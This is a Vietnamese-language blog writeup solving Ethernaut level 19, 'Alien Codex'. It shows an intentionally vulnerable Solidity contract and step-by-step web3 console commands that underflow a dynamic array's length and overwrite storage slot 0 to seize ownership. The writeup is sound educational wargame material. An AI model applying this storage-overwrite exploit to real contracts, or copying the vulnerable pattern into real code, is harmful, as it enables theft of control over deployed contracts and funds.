Skip to content

The Ethernaut writeups: 19 - Alien Codex

Posted on:February 16, 2022

19. Alien Codex

Nhiệm vụ: Chiếm quyền owner.

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }

  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
  	codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

Phân tích

Đầu tiên ta cần hiểu về cách lưu trữ của solidity:

Các bạn có thể tham khảo thêm về storage của solidity tại bài viết này của mình: https://www.kiendt.me/2018/05/01/smart-contract-storage/

Trong contract có cung cấp cho chúng ta 2 hàm mà ta có thể khai thác:

function retract() contacted public {
  codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
  codex[i] = _content;
}

do đó ta có ý tưởng là:

Solution

contract.make_contact();
contract.retract();
await web3.eth.getStorageAt(instance, 1);
> 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
web3.utils.keccak256('0x0000000000000000000000000000000000000000000000000000000000000001');
> '0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6';
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6 + 1
> 35707666377435648211887908874984608119992236509074197713628505308453184860938
await web3.eth.getStorageAt(instance, 0);
> 0x000000000000000000000001da5b3fb76c78b6edee6be8f11a1c31ecfb02b272

trong đó da5b3fb76c78b6edee6be8f11a1c31ecfb02b272 là địa chỉ của owner, số 1 phía trước là giá trị bool(true) của biến contact.

contract.revise(
  "35707666377435648211887908874984608119992236509074197713628505308453184860938",
  "0x000000000000000000000001c3a005e15cb35689380d9c1318e981bca9339942"
);
await contract.owner();
> '0xC3a005E15Cb35689380d9C1318e981BcA9339942'

completed